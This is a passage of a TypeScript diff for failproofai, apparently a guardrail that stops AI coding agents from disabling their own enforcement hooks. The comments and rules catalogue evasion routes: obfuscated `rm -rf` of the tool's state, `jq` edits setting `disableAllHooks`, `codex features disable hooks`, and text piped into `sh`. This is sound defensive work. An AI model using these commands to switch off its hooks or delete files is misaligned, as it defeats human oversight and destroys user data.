`rm -rf ./*)` + // still runs inside the subshell it closes. + return true; + } else if (head === "ln" && simpleCommands.length === 1) { + recordLink(expanded.slice(1)); + } else if (head === "set" && simpleCommands.length === 1) { + // Inside `( … )` it is the subshell's setting only, put back when it + // closes (found by hermes on FailproofAI/failproofai#1058). + if (parenDepth > 0) { + scopes.push({ depth: parenDepth, at, previous, stack: dirStack.slice(), alts: alts.slice(), pending: pending.slice(), physical: physicalMoves }); + } + for (let i = 1; i < words.length; i++) { + if (/^[-+][A-Za-z]+$/.test(words[i]) && words[i].includes("P")) physicalMoves = words[i][0] === "-"; + else if ((words[i] === "-o" || words[i] === "+o") && words[i + 1] === "physical") physicalMoves = words[i] === "-o"; + } + } + // The builtins that set a variable without `=`. A pipeline's stages run + // in subshells, so only a command standing alone sets one this line keeps. + if (simpleCommands.length === 1) setByBuiltin(head, words, simple); + parenDepth = Math.max(0, parenDepth - (shellText.match(/\)/g) ?? []).length); + if (cdParenDepth !== null && parenDepth < cdParenDepth) { + cwdInState = false; + cdParenDepth = null; + } + // Leaving a subshell puts back where the shell stood before it, inside + // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. + while (scopes.length > 0 && parenDepth < scopes[scopes.length - 1].depth) { + const scope = scopes.pop()!; + at = scope.at; + previous = scope.previous; + alts = scope.alts; + pending = scope.pending; + physicalMoves = scope.physical; + dirStack.splice(0, dirStack.length, ...scope.stack); + cwdInState = at.inState; + cdParenDepth = cwdInState ? parenDepth : null; + } + } + } + return false; +} +/** How much of the shell's directory the walk reads words from; see `shellTail`. */ +const SHELL_DIR_SEGMENTS = 16; +/** + * How much of the shell's whole path the walk keeps for a `..` that climbs + * above `SHELL_DIR_SEGMENTS` and for following symlinks. Bounded so that a + * script of a thousand `cd`s stays linear. + */ +const FULL_DIR_SEGMENTS = 64; +/** How many directories a failed `cd` can leave the shell in that the walk tracks. */ +const MAX_ALTERNATE_DIRS = 4; +/** Linux's PATH_MAX: `open(2)` refuses a longer path with ENAMETOOLONG. */ +const PATH_MAX_BYTES = 4096; +/** + * Where a relative word is also read once the walk has lost the shell's + * directory: the places an installed failproofai entry or package lives. Only + * a word that names one there can match, so an ordinary file is unaffected. + */ +const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; +/** + * The directories a glob candidate continues from by one name: `.bin` and + * `bin` hold the entry, `node_modules` and `.pnpm` the package, `pnpm` is + * pnpm's home. Only from these can a relative glob that does not spell the + * name itself (`fail*`) land on installed code. + */ +const GLOB_PARENT_DIRECTORIES = new Set([".bin", "bin", "node_modules", ".pnpm", "pnpm"]); +/** + * `text` without its `$(…)` command substitutions, so their parentheses are + * not counted as a subshell's. One left open runs to the end of the text. + */ +function withoutSubstitutions(text: string): string { + let out = ""; + for (let i = 0; i < text.length; i++) { + if (text[i] === "$" && text[i + 1] === "(") { + let depth = 0; + let j = i + 1; + for (; j < text.length; j++) { + if (text[j] === "(") depth++; + else if (text[j] === ")" && --depth === 0) break; } - if (p === "~") p = homedir(); - else if (p.startsWith("~/")) p = join(homedir(), p.slice(2)); - paths.push(p); + i = j; + continue; } + out += text[i]; } - - // Find the index of the first bare pipe (not inside quotes) to limit quoted extraction. - let firstBarePipe = command.length; - let inDouble = false, inSingle = false; - for (let i = 0; i < command.length; i++) { - const c = command[i]; - if (c === '"' && !inSingle) inDouble = !inDouble; - else if (c === "'" && !inDouble) inSingle = !inSingle; - else if (c === "|" && !inDouble && !inSingle) { firstBarePipe = i; break; } + return out; +} +/** A word a shell reads from its current directory: not `~`, `/`, `$…` or `C:`. */ +function relativeWord(word: string): boolean { + return word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); +} +/** The entry's own name, a Windows shim of it, or a glob that could be either. */ +/** The names npx runs for `failproofai` in a bin directory, the Windows shims included. */ +const NPX_ENTRY_NAMES = ["failproofai", "failproofai.cmd", "failproofai.ps1", "failproofai.exe", "failproofai.bunx"]; +/** A path that is npx's entry for `failproofai`. */ +const NPX_ENTRY_PATH_RE = /(?:^|[\\/])node_modules[\\/](?:\.?[\\/])*\.bin[\\/]failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i; +function couldBeEntryName(name: string): boolean { + return /^failproofai(?:\.(?:cmd|ps1|exe|bunx))?$/i.test(name) || (GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)); +} +/** + * `word` read from directory `base` (as given when absolute, or with no base), + * with `//`, `.` and `..` resolved as text, the way a shell's logical `cd` + * does. + */ +function shellPath(base: string | undefined, word: string): string { + const joined = base === undefined ? word : `${base}/${word}`; + const absolute = joined.startsWith("/"); + const parts: string[] = []; + for (const part of joined.split("/")) { + if (part === "" || part === ".") continue; + if (part === "..") { + if (parts.length > 0 && parts[parts.length - 1] !== "..") parts.pop(); + else if (!absolute) parts.push(part); + continue; + } + parts.push(part); } - - // Extract paths from quoted strings in the FIRST pipeline segment only, - // and only when the content has no glob/regex metacharacters. - const firstSegment = command.slice(0, firstBarePipe); - const quotedRe = /"([^"]*)"|'([^']*)'/g; - let qm: RegExpExecArray | null; - while ((qm = quotedRe.exec(firstSegment)) !== null) { - const content = qm[1] ?? qm[2] ?? ""; - // Skip patterns that contain glob or common regex metacharacters - if (/[*?\[\]^$+()\\]/.test(content)) continue; - addPaths(content); + return (absolute ? "/" : "") + parts.join("/"); +} +/** + * A directory cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected + * pattern matches the END of a path, so the dropped head never decides + * anything, and the cut keeps a script of a thousand `cd`s from growing every + * later word it is joined to. + */ +function shellTail(path: string): string { + let cut = path.length; + for (let kept = 0; kept < SHELL_DIR_SEGMENTS; kept++) { + if (cut <= 0) return path; + cut = path.lastIndexOf("/", cut - 1); + if (cut < 0) return path; } - - // Extract from unquoted portions of the whole command (existing behaviour). - const stripped = command - .replace(/"[^"]*"/g, (m) => " ".repeat(m.length)) - .replace(/'[^']*'/g, (m) => " ".repeat(m.length)); - addPaths(stripped); - - return paths; + return path.slice(cut + 1); } - -function blockReadOutsideCwd(ctx: PolicyContext): PolicyResult { - // Prefer $CLAUDE_PROJECT_DIR (stable project root) over ctx.session.cwd, - // which tracks the live shell CWD and drifts when Claude `cd`s into a subdir. - const cwd = process.env.CLAUDE_PROJECT_DIR || ctx.session?.cwd; - if (!cwd) return allow(); // Can't enforce without cwd - - const allowPaths = ((ctx.params?.allowPaths ?? []) as string[]); - - // For Bash tool: check read-like commands for absolute paths outside cwd - if (ctx.toolName === "Bash") { - const cmd = getCommand(ctx); - if (!READ_LIKE_CMDS.test(cmd)) return allow(); - - const paths = extractAbsolutePaths(cmd); - const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; - for (const p of paths) { - const resolved = resolve(cwd, p); - if (isClaudeSettingsFile(resolved)) { - return deny(`Reading agent settings file blocked: ${resolved}`); - } - if (isClaudeInternalPath(resolved)) continue; // Whitelist ~/.claude/ - if (resolved === "/dev/null") continue; // Harmless special file - if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { - if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) continue; - return deny(`Bash read outside project directory blocked: ${resolved}`); +/** + * A patch's file headers: every file it adds, updates or deletes, and where + * `*** Move to:` renames one, in the format Codex's `apply_patch` takes + * (lenient about spacing, as its parser is); and the `---` / `+++` paths of a + * unified diff. + */ +const PATCH_FILE_RE = /^[ \t]*\*\*\*[ \t]*(?:(?:Add|Update|Delete)[ \t]+File|Move[ \t]+to)[ \t]*:[ \t]*(.*?)[ \t]*\r?$/gim; +const UNIFIED_DIFF_FILE_RE = /^(?:---|\+\+\+)[ \t]+(.*?)(?:\t.*)?\r?$/gm; +/** Input keys that hold what a file tool writes, never a patch to apply. */ +const FILE_CONTENT_KEYS = new Set(["content", "old_string", "new_string", "new_source", "file_text", "old_str", "new_str"]); +/** + * The files an edit tool's patch writes, when the tool carries a patch instead + * of a path. Codex's `apply_patch` (canonical `Edit`) delivers its patch as + * `tool_input.command`, with no `file_path` at all, so the path check below + * had nothing to read and a native patch could plant `node_modules/.bin/failproofai` + * (found by hermes on FailproofAI/failproofai#1058). OpenCode's sends `patchText`. + * Read from every input that is not a file's content, as text or a list of it. + */ +function patchTargets(input: Record | undefined): string[] { + const targets = new Set(); + for (const [key, value] of Object.entries(input ?? {})) { + if (FILE_CONTENT_KEYS.has(key)) continue; + const texts = typeof value === "string" ? [value] : Array.isArray(value) ? value.filter((v): v is string => typeof v === "string") : []; + for (const text of texts) { + for (const [, path] of text.matchAll(PATCH_FILE_RE)) if (path) targets.add(path); + for (const [, written] of text.matchAll(UNIFIED_DIFF_FILE_RE)) { + const path = written.replace(/^"(.*)"$/, "$1"); + if (!path || path === "/dev/null") continue; + targets.add(path); + // `a/` and `b/` are git's prefixes, not directories, unless they are. + if (/^[ab]\//.test(path)) targets.add(path.slice(2)); } } - return allow(); } - - // For Read/Glob/Grep: existing file_path / path check - const filePath = getFilePath(ctx); - const searchPath = (ctx.toolInput?.path as string) ?? ""; - - const target = filePath || searchPath; - if (!target) return allow(); - - const resolved = resolve(cwd, target); - - // Block settings files in any .claude directory before whitelisting - if (isClaudeSettingsFile(resolved)) { - return deny(`Reading agent settings file blocked: ${resolved}`); + return [...targets]; +} +/** The builtins that print their arguments and run none of them. */ +const PRINT_COMMANDS = new Set(["echo", "printf"]); +/** Readers a pipeline can hand printed text to without running any of it. */ +const TEXT_READERS = new Set([ + "cat", "less", "more", "head", "tail", "wc", "grep", "egrep", "fgrep", "sort", "uniq", "cut", "tr", "column", + "nl", "fold", "fmt", "rev", +]); +/** Where a print's own redirect can send it without keeping it anywhere it may be run from. */ +const HARMLESS_OUTPUT_RE = /^(?:&\d*-?|\/dev\/(?:null|stdout|stderr|tty))$/; +/** + * Commands that run a file or text they are handed: shells, interpreters and + * what runs a command for you. A line with one of these, or a command named by + * a path (`./notes.md`), may run a file it has just printed into. + */ +const RUNS_FILES = new Set([ + "sh", "bash", "zsh", "dash", "ksh", "mksh", "fish", "csh", "tcsh", "busybox", "source", ".", "eval", "xargs", "env", + "nohup", "timeout", "sudo", "doas", "su", "nice", "ionice", "chroot", "setsid", "stdbuf", "watch", "script", + "expect", "python", "python2", "python3", "node", "nodejs", "deno", "bun", "bunx", "npx", "pnpx", "perl", "ruby", + "php", "lua", "tclsh", "Rscript", "osascript", "pwsh", "powershell", "awk", "gawk", "mawk", "make", "chmod", + "crontab", "at", "batch", "systemd-run", +]); +/** + * Commands after which what a line prints may be run or kept to run: a + * compound command (`for … do echo '…'; done | sh`), a function or alias + * definition that can stand in for `echo`, and `exec`, which redirects the + * shell itself. + */ +const RUNS_PRINTED_TEXT = new Set([ + "if", "then", "elif", "else", "fi", "for", "while", "until", "do", "done", "case", "esac", "select", "function", + "coproc", "alias", "enable", "shopt", "exec", +]); +/** + * `command` with each `>` and `<` blanked where it is text that `echo` or + * `printf` only prints: `echo 'cat > node_modules/.bin/failproofai'` documents + * a command rather than running one (found by hermes on + * FailproofAI/failproofai#1058). The walk reads redirects from the text, + * quotes and all, because a quoted program handed to `bash -c` or piped into + * `sh` really does redirect, and the unescaped pass drops the quotes, so both + * read that `>` as a redirect. + * + * Text means quoted (`'…'`, `"…"`, `$'…'`) or escaped (`\>`). Blanked only + * where nothing on the line can run it: an `echo` or `printf` (not + * `printf -v`, which stores it) outside any subshell, group or substitution, + * holding no substitution, piped into nothing but text readers, and + * redirected, if at all, to another descriptor or `/dev/null`; on a line with + * no compound command, function, alias, `exec`, heredoc or process + * substitution. Otherwise the text is left as it is. + */ +function blankPrintedRedirects(command: string): string { + if (!/['"\\]/.test(command) || !/[<>]/.test(command)) return command; + // Per character: text (quoted or escaped), and inside a subshell, group or + // substitution, or a substitution's own start. + const text = new Uint8Array(command.length); + const nested = new Uint8Array(command.length); + const pieces: Array<{ start: number; end: number; pipeIn: boolean; pipeOut: boolean }> = []; + let quote: "'" | '"' | "$'" | null = null; + let depth = 0; + let backquoted = false; + let start = 0; + let pipeIn = false; + for (let i = 0; i < command.length; i++) { + const ch = command[i]; + if (quote === "'") { + if (ch === "'") quote = null; + else text[i] = 1; + continue; + } + if (quote === "$'") { + if (ch === "'") quote = null; + else { + text[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + } + continue; + } + if (quote === '"') { + if (ch === '"') { + quote = null; + continue; + } + text[i] = 1; + // A substitution inside double quotes still runs. + if (ch === "`" || (ch === "$" && command[i + 1] === "(")) nested[i] = 1; + if (ch === "\\" && i + 1 < command.length) text[++i] = 1; + continue; + } + if (ch === "\\") { + if (i + 1 < command.length) text[++i] = 1; + continue; + } + if (ch === "'" || ch === '"') { + quote = ch === "'" && command[i - 1] === "$" ? "$'" : ch; + continue; + } + if ((ch === "<" || ch === ">") && command[i + 1] === "(") return command; + if (ch === "<" && command[i + 1] === "<") return command; + if (ch === "(" || ch === "{") depth++; + if (ch === "`") backquoted = !backquoted; + if (depth > 0 || backquoted || "`(){}".includes(ch)) nested[i] = 1; + if (ch === ")" || ch === "}") depth = Math.max(0, depth - 1); + // `&` beside a `>`, and `|` after one, belong to a redirect (`>&2`, `&>`, + // `>|`), not a separator. + const redirecting = (ch === "&" && (command[i - 1] === ">" || command[i + 1] === ">")) || (ch === "|" && command[i - 1] === ">"); + if ("|;&\n\r".includes(ch) && !redirecting) { + let j = i; + while (j < command.length && "|;&\n\r".includes(command[j])) j++; + const run = command.slice(i, j); + const pipe = run === "|" || run === "|&"; + pieces.push({ start, end: i, pipeIn, pipeOut: pipe }); + pipeIn = pipe; + start = j; + i = j - 1; + } } - - // Whitelist ~/.claude/ — Claude Code's own config, plans, memory, and settings - if (isClaudeInternalPath(resolved)) return allow(); - - // Whitelist /dev/null — harmless special file commonly used in shell commands - if (resolved === "/dev/null") return allow(); - - const cwdWithSep = cwd.endsWith("/") ? cwd : cwd + "/"; - if (resolved !== cwd && !resolved.startsWith(cwdWithSep)) { - if (allowPaths.some((ap) => resolved === ap || resolved.startsWith(ap.endsWith("/") ? ap : ap + "/"))) return allow(); - return deny(`Access outside project directory blocked: ${resolved}`); + if (quote !== null || depth > 0 || backquoted) return command; + pieces.push({ start, end: command.length, pipeIn, pipeOut: false }); + // The line read with its text blanked, for the commands that can run it. + let bare = ""; + for (let i = 0; i < command.length; i++) bare += text[i] ? " " : command[i]; + if (/\w\s*\(\s*\)/.test(bare)) return command; + // Each piece's command word, past any assignments in front of it: as the + // shell reads it, quotes and escapes removed (`'sh'` runs `sh`; found by + // hermes on FailproofAI/failproofai#1058), and as written with its text + // blanked, which is how a reserved word stands. A runner anywhere in the + // piece (`time sh`, `command sh`) counts, and so does a command word the + // walk cannot read (`"$SHELL" notes`) or one named by a path. + const commandOf = (from: number, to: number): string => + bare.slice(from, to).trim().split(/\s+/).find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + let runsFiles = false; + for (const { start: from, end: to } of pieces) { + const words = shellWords(command.slice(from, to)).map(({ raw }) => stripShellQuoting(raw)); + const head = words.find((word) => !/^[A-Za-z_]\w*=/.test(word)) ?? ""; + if (RUNS_PRINTED_TEXT.has(commandOf(from, to)) || RUNS_PRINTED_TEXT.has(head)) return command; + if (head.includes("/") || /[$`]/.test(head) || words.some((word) => RUNS_FILES.has(word))) runsFiles = true; } - return allow(); -} - -function blockWorkOnMain(ctx: PolicyContext): PolicyResult { - if (ctx.toolName !== "Bash") return allow(); - const cmd = getCommand(ctx); - const match = cmd.match(GIT_COMMIT_MERGE_RE); - if (!match) return allow(); - const cwd = ctx.session?.cwd; - if (!cwd) return allow(); - - const branch = getCurrentBranch(cwd); - if (!branch) return allow(); - - const protectedBranches = ((ctx.params?.protectedBranches ?? ["main", "master"]) as string[]); - if (protectedBranches.includes(branch)) { - return deny( - `Git ${match[1]} on ${branch} is blocked. Create a feature branch first.`, - ); + // Whether a piece stands alone at the top of the line with only harmless + // output redirects, and the command it runs. + const plain = (from: number, to: number): string | undefined => { + for (let k = from; k < to; k++) if (nested[k]) return undefined; + for (let k = from; k < to; k++) { + if (command[k] !== ">" || text[k]) continue; + let j = k + 1; + if (command[j] === ">" || command[j] === "|") j++; + const duplicate = command[j] === "&"; + if (duplicate) j++; + while (j < to && /[ \t]/.test(command[j])) j++; + let target = duplicate ? "&" : ""; + for (; j < to && !/\s/.test(command[j]); j++) if (command[j] !== "'" && command[j] !== '"') target += command[j]; + // Into a file, as documentation is, unless something on the line may + // run what it holds (`echo '…' > notes.md` stays text; `… && sh notes.md` + // does not). + if (!HARMLESS_OUTPUT_RE.test(target) && (runsFiles || target === "" || target.startsWith("&"))) return undefined; + k = j - 1; + } + const words = shellWords(command.slice(from, to)); + return words.length > 0 ? words[0].raw : undefined; + }; + const out = command.split(""); + for (let p = 0; p < pieces.length; p++) { + if (pieces[p].pipeIn) continue; + // The pipeline this piece starts. + let last = p; + while (pieces[last].pipeOut && last + 1 < pieces.length) last++; + const head = plain(pieces[p].start, pieces[p].end); + if (head === undefined || !PRINT_COMMANDS.has(head)) continue; + const words = shellWords(command.slice(pieces[p].start, pieces[p].end)); + if (head === "printf" && words.some(({ raw }) => /^-[A-Za-z]*v/.test(raw))) continue; + let readers = true; + for (let q = p + 1; q <= last && readers; q++) { + const reader = plain(pieces[q].start, pieces[q].end); + readers = reader !== undefined && (TEXT_READERS.has(reader) || (reader === "tee" && !runsFiles)); + } + if (!readers) continue; + for (let k = pieces[p].start; k < pieces[last].end; k++) if (text[k] && (command[k] === ">" || command[k] === "<")) out[k] = "_"; } - return allow(); + return out.join(""); } - /** * The one policy that cannot be turned off — see `alwaysOn` on its definition. * @@ -2644,22 +8708,48 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // completely as `rm -rf` does — and the machine still reads as fresh, so // fail-closed never fires. Reading is not offered by these tools' write half, // so naming the state at all is the whole test. - if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "NotebookEdit") { - const path = getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""); - // The path as given AND the file it lands on. The bin entry a user-scope - // hook runs is usually a symlink into the package, so writing through it - // changes the hook's code without the package's path ever being named. - const kind = failproofaiFileKind(path) ?? failproofaiFileKind(resolveWriteTarget(path, ctx.session?.cwd)); - if (kind === "code") { - return deny( - "Writing to failproofai's installed code would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", - ); + const rawPatch = ctx.toolName === "apply_patch"; + if (ctx.toolName === "Write" || ctx.toolName === "Edit" || ctx.toolName === "MultiEdit" || ctx.toolName === "NotebookEdit" || rawPatch) { + // The path the tool names, and every file a patch it carries names. + const paths = [getFilePath(ctx) || ((ctx.toolInput?.notebook_path as string) ?? ""), ...patchTargets(ctx.toolInput)]; + // A patch's relative paths are read from the session's directory, and + // from the one the call names when it names one. + const toolCwd = ctx.toolInput?.workdir ?? ctx.toolInput?.cwd; + const cwds = [ctx.session?.cwd, ...(typeof toolCwd === "string" && toolCwd !== "" ? [toolCwd] : [])]; + for (const path of paths) { + // The path as given AND the file it lands on. The bin entry a user-scope + // hook runs is usually a symlink into the package, so writing through it + // changes the hook's code without the package's path ever being named. + const kind = + failproofaiFileKind(path) ?? + cwds.map((cwd) => failproofaiFileKind(resolveWriteTarget(path, cwd))).find((found) => found !== null) ?? + null; + if (kind === "code") { + return deny( + "Writing to failproofai's installed code would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } + if (kind === "state") { + return deny( + "Writing to failproofai's own state would switch enforcement off. " + + "If a policy is blocking legitimate work, say so and let the operator decide.", + ); + } } - if (kind === "state") { + // The agent CLI's own settings and hook files are how it calls failproofai + // at all. `"disableAllHooks": true` in any Claude Code settings layer, or a + // hooks file with our entries taken out, switches off every policy — this + // one included — and Claude Code's file watcher applies it before the next + // tool call. Checked after symlinks, and through apply_patch's patch text. + // A patch tool that arrives by its own name (OpenClaw's) is read whole: + // every string it carries, whatever the key, as a patch. + const writeInput = rawPatch ? { ...ctx.toolInput, patch: Object.values(ctx.toolInput ?? {}) } : ctx.toolInput; + const settingsFile = agentSettingsWriteTarget(writeInput, ctx.session?.cwd, sessionAgentSettingsPaths(ctx)); + if (settingsFile) { return deny( - "Writing to failproofai's own state would switch enforcement off. " + - "If a policy is blocking legitimate work, say so and let the operator decide.", + `${settingsFile} is an agent settings or hook file, and editing it could switch failproofai's hooks off. ` + + "If this change is needed, say so and let the user make it.", ); } return allow(); @@ -2670,7 +8760,7 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // backslashes before running the binary, so `fail\proofai config --pause` // reaches the pause CLI even though the literal name is broken. const unescaped = stripShellQuoting(cmd); - const kind = classifySelfInvocation(cmd) ?? classifySelfInvocation(unescaped); + const kind = classifySelfInvocation(cmd) ?? classifySelfInvocation(unescaped) ?? classifyTextPipedIntoShell(cmd); if (kind === "pause") { return deny( @@ -2686,19 +8776,296 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { if (FAILPROOFAI_UNINSTALL_RE.test(cmd) || FAILPROOFAI_UNINSTALL_RE.test(unescaped)) { return deny("Uninstalling failproofai is blocked"); } + // Checked before the state, so a command aimed at an agent's settings is + // refused for that reason, not as the state walk's catch-all for a patch or + // archive it cannot read. + // + // An agent CLI's own command can turn its hooks off with no settings path in + // it at all: `codex features disable hooks` rewrites config.toml. Read from + // the commands alone, so a commit message that quotes one is still a message. + const lexed = lexShell(cmd); + // Text piped into a shell is a command too: `echo 'codex features disable hooks' | sh`. + const pipesIntoShell = /\|\s*(?:[^\s;&|()`<>]*\/)?(?:sh|bash|zsh|dash|ksh|ash|fish)(?=[\s;&|)]|$)/.test(lexed.commandsOnly); + const cliText = pipesIntoShell ? cmd : lexed.commandsOnly; + if ( + agentCliSwitchesHooksOff(cliText) || + agentCliSwitchesHooksOff(stripShellQuoting(cliText)) || + agentCliSwitchesHooksOff(agentCliArgvLines(lexed)) || + agentCliHooksOffByArgv(lexed) + ) { + return deny( + "Turning an agent's hooks off would switch failproofai's enforcement off. " + + "If this change is needed, say so and let the user make it.", + ); + } + // The same walk, aimed at the agents' settings and hook files: `jq + // '.disableAllHooks=true' ~/.claude/settings.json > t && mv t + // ~/.claude/settings.json` switches the hooks off without naming failproofai. + // The unescaped pass is built from the MASKED command, so quoted arguments + // stay one argument after their quotes come off. + const settingsTarget = agentSettingsShellTarget( + agentSettingsShellCwd(ctx.toolInput, ctx.session?.cwd), + sessionAgentSettingsPaths(ctx), + ); + const maskedUnescaped = stripShellQuoting(lexed.splittable); + const settingsDenial = deny( + "Writing, moving or deleting an agent's settings or hook files could switch failproofai's hooks off. " + + "If this change is needed, say so and let the user make it.", + ); + const writesSettings = + destroysProtectedPath(cmd, settingsTarget) || destroysProtectedPath(maskedUnescaped, settingsTarget, 0, lexed.splittable); + // A command that names a settings file is refused for that. One the settings + // walk refuses without naming one (an expansion it cannot resolve) is checked + // against the state first, so `rm -rf ~/.fa${X:-ilproofai}` says the state. + if (writesSettings && settingsTarget.namesLiteral(cmd)) return settingsDenial; // Deleting the state IS disabling enforcement, without ever naming the binary. // Checked on the raw command AND its shell-unescaped form for the same reason // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a - // matcher and a real path to the shell. - if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { + // matcher and a real path to the shell. The walk starts where the command runs: + // the session's directory, or the one an Antigravity `run_command` names. + const toolCwd = ctx.toolInput?.cwd ?? ctx.toolInput?.workdir; + const reported = typeof toolCwd === "string" && toolCwd !== ""; + const shellCwd = reported ? toolCwd : ctx.session?.cwd; + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload carries the session's directory and the command only: a native + // `printf … > failproofai` with workdir `node_modules/.bin` arrived as a + // write in the project root (found by hermes on FailproofAI/failproofai#1058). + // Unless the call reports one, the line may start anywhere, which the walk + // reads as it reads a directory it has lost. + const startUnknown = ctx.cli === "codex" && !reported; + // Quoted text an `echo` or `printf` only prints is read as text, in both + // passes (see `blankPrintedRedirects`). + // And, on a line with a heredoc, with message heredocs blanked as the + // settings walk reads them: a commit message built from `$(cat <<'EOF' … + // EOF)` is a message. A heredoc a command reads (`git apply <' | sh`. + pipesStateIntoShell(cmd) || + // A default the shell uses when the variable is unset is part of the + // path: `rm -rf ~/.fa${X:-ilproofai}` (both found by #1053's tests on #1058). + parameterDefaultVariants(walked).some((variant) => destroysFailproofaiState(variant, 0, shellCwd, startUnknown)); + } catch (err) { + return deny( + "failproofai could not read this command to check it against its own files, so it is refused. " + + `Rewrite it more simply, or say so and let the operator decide. (${err instanceof Error ? err.message : String(err)})`, + ); + } + if (destroys) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", ); } + if (writesSettings) return settingsDenial; return allow(); } - +/** A word whose text an expansion decides: `$F`, `${F:-x}`, `$(…)`, a backtick. */ +const EXPANSION_IN_WORD_RE = /\$[A-Za-z_{(0-9@*#?!$-]|`/; +/** + * The agent CLIs' hooks-off commands, read word by word from each command's + * argv: `codex features disable hooks`, `pi remove `, `hermes | + * openclaw plugins disable|remove `. A word an expansion decides + * could be any word, so it stands for whichever word the shape needs there — + * `codex $(echo features) disable "$F"` is refused whatever F holds — unless + * it is exactly `$NAME` for a variable every assignment of which comes + * earlier on the line with a plain value: then it is each of those values. + * A head an expansion decides is not followed; every command could be it. + */ +function agentCliHooksOffByArgv(lexed: ShellLex): boolean { + const assignments = new Map>(); + for (const match of lexed.readable.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]*)/g)) { + const list = assignments.get(match[1]) ?? []; + list.push({ at: match.index, value: match[2].replace(/^["']|["']$/g, "") }); + assignments.set(match[1], list); + } + // A variable appended to (`F=ho; F+=oks`) holds what no single assignment says. + const appended = new Set([...lexed.readable.matchAll(/(?:^|[\s;&|(])([A-Za-z_][A-Za-z0-9_]*)\+=/g)].map((m) => m[1])); + // A word's possible texts, or null for any word at all. + const optionsOf = (word: string, at: number): string[] | null => { + if (!EXPANSION_IN_WORD_RE.test(word)) return [word]; + const ref = /^\$(?:\{([A-Za-z_][A-Za-z0-9_]*)\}|([A-Za-z_][A-Za-z0-9_]*))$/.exec(word); + if (ref && appended.has(ref[1] ?? ref[2])) return null; + const list = ref ? assignments.get(ref[1] ?? ref[2]) : undefined; + if (!list || list.length > 64 || list.some((a) => a.at > at || EXPANSION_IN_WORD_RE.test(a.value))) return null; + return list.map((a) => a.value); + }; + const can = (options: string[] | null, test: (word: string) => boolean): boolean => options === null || options.some(test); + for (const [start, end] of cutRanges(lexed.splittable, PIPELINE_SEPARATORS)) { + const splitPipeline = lexed.splittable.slice(start, end); + for (const [simpleStart, simpleEnd] of cutRanges(splitPipeline, /\|/)) { + const at = start + simpleStart; + const words = quoteAwareWords(lexed.readable.slice(at, start + simpleEnd)).map((word) => optionsOf(word, at)); + // The head: past assignments, wrappers, runners and their flags. + let h = 0; + while (h < words.length) { + const options = words[h]; + if (options === null) break; + const word = options[0] ?? ""; + if (ENV_ASSIGNMENT_RE.test(word) || word.startsWith("-") || RUNNER_OPERAND_RE.test(word) || COMMAND_PREFIX_TOKENS.has(commandBasename(word))) { + h++; + continue; + } + break; + } + const head = words[h]; + if (!head) continue; + const heads = new Set(head.map((word) => commandBasename(word).toLowerCase())); + const rest = words.slice(h + 1).filter((options) => options === null || !options.every((w) => w.startsWith("-"))); + const seq = (tests: Array<(word: string) => boolean>): boolean => { + // Each test met by a later word than the one before it. + let k = 0; + for (const test of tests) { + while (k < rest.length && !can(rest[k], test)) k++; + if (k >= rest.length) return false; + k++; + } + return true; + }; + if (heads.has("codex") && seq([(w) => /^features?$/i.test(w), (w) => /^disable$/i.test(w), (w) => /(?:^|[^A-Za-z0-9_])(?:codex_)?hooks(?![A-Za-z0-9_])/i.test(w)])) { + return true; + } + if (heads.has("pi") && seq([(w) => /^(?:remove|uninstall|rm)$/i.test(w), (w) => /failproofai|pi-extension/i.test(w)])) return true; + if ( + (heads.has("hermes") || heads.has("openclaw")) && + seq([(w) => /^plugins?$/i.test(w), (w) => /^(?:disable|remove|uninstall|rm|delete)$/i.test(w), (w) => /failproofai/i.test(w)]) + ) { + return true; + } + } + } + return false; +} +/** + * The words of `text` as the shell splits and unquotes them — at blanks and at + * `;&|<>()=` outside quotes — each with where it starts. An expansion stays + * in its word as written, for the caller to treat as unknown. + */ +function decodedWordsAt(text: string): Array<{ word: string; at: number }> { + const out: Array<{ word: string; at: number }> = []; + let word = ""; + let at = -1; + const end = (): void => { + if (at !== -1) out.push({ word, at }); + word = ""; + at = -1; + }; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (/[\s;&|<>()=]/.test(ch)) { + end(); + continue; + } + if (at === -1) at = i; + if (ch === "\\" && i + 1 < text.length) { + word += text[++i]; + } else if (ch === "'" && text[i - 1] === "$") { + const close = text.indexOf("'", i + 1); + const stop = close === -1 ? text.length : close; + word = word.slice(0, -1) + decodeAnsiC(text.slice(i + 1, stop)); + i = stop; + } else if (ch === "'") { + const close = text.indexOf("'", i + 1); + const stop = close === -1 ? text.length : close; + word += text.slice(i + 1, stop); + i = stop; + } else if (ch === '"') { + let j = i + 1; + for (; j < text.length && text[j] !== '"'; j++) { + if (text[j] === "\\" && j + 1 < text.length) j++; + word += text[j]; + } + i = j; + } else { + word += ch; + } + } + end(); + return out; +} +/** The expansions inside a name, each read as a `*`: `exam$X`, `a${X}b`, `$(f)`, a backtick. */ +const EXPANSIONS_IN_NAME_RE = 